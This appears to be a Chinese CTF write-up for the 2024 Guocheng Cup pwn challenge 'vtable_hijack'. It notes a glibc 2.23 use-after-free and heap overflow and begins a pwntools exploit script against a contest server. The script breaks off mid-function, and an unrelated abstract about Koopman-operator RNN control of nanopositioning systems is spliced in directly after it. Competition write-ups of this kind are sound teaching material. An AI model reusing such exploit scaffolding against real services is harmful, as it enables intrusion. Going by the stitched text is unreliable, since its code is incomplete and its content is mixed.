2024 国城杯pwn 复现

vtable_hijack

没有去符号表好评

2.23的uaf edit可以直接堆溢出,感觉什么洞都可以打

from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
p=remote('125.70.243.22',31194)
#p=process('./pwn')
elf=ELF('./pwn')


s = lambda data : p.send(data)
sa  = lambda text,data  :p.sendafter(text, data)
sl  = lambda data   :p.sendline(data)
sla = lambda text,data  :p.sendlineafter(text, data)
rl  = lambda text   :p.recvuntil(text)
pr = lambda num=4096 :print(p.recv(num))
inter   = lambda        :p.interactive()
l32 = lambda    :u32(p.recvuntil(b'\xf7')[-4:].ljust(4,b'\x00'))
l64 = lambda    :u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
uu32    = lambda    :u32(p.recv(4).ljust(4,b'\x00'))
uu64    = lambda    :u64(p.recv(6).ljust(8,b'\x00'))
int16   = lambda data   :int(data,16)
lg = lambda s, num: log.success(f"{
     
     s} >>> {
     
     hex(num)}")

def add(idx,size):
    sla(b'choice:',b'1')
    sla(b'index:',str(idx))
    sla(b'size:',str(size))

def free(idx):
    sla(b'choice:',b'2')
    sla(b'index:',str(idx))

def edit(idx,size
基于数据驱动的 Koopman 算子的递归神经网络模型线性化,用于纳米定位系统的预测控制研究(Matlab代码实现)内容概要:本文围绕“基于数据驱动的Koopman算子的递归神经网络模型线性化”展开,旨在研究纳米定位系统的预测控制方法。通过结合数据驱动技术与Koopman算子理论,将非线性系统动态近似为高维线性系统,进而利用递归神经网络(RNN)建模并实现系统行为的精确预测。文中详细阐述了模型构建流程、线性化策略及在预测控制中的集成应用,并提供了完整的Matlab代码实现,便于科研人员复现实验、优化算法并拓展至其他精密控制系统。该方法有效提升了纳米级定位系统的控制精度与动态响应性能。; 适合人群:具备自动控制、机器学习或信号处理背景,熟悉Matlab编程,从事精密仪器控制、智能制造或先进控制算法研究的研究生、科研人员及工程技术人员。; 使用场景及目标:①实现非线性动态系统的数据驱动线性化建模;②提升纳米定位平台的轨迹跟踪与预测控制性能;③为高精度控制系统提供可复现的Koopman-RNN融合解决方案; 阅读建议:建议结合Matlab代码逐段理解算法实现细节,重点关注Koopman观测矩阵构造、RNN训练流程与模型预测控制器(MPC)的集成方式,鼓励在实际硬件平台上验证并调整参数以适应具体应用场景。
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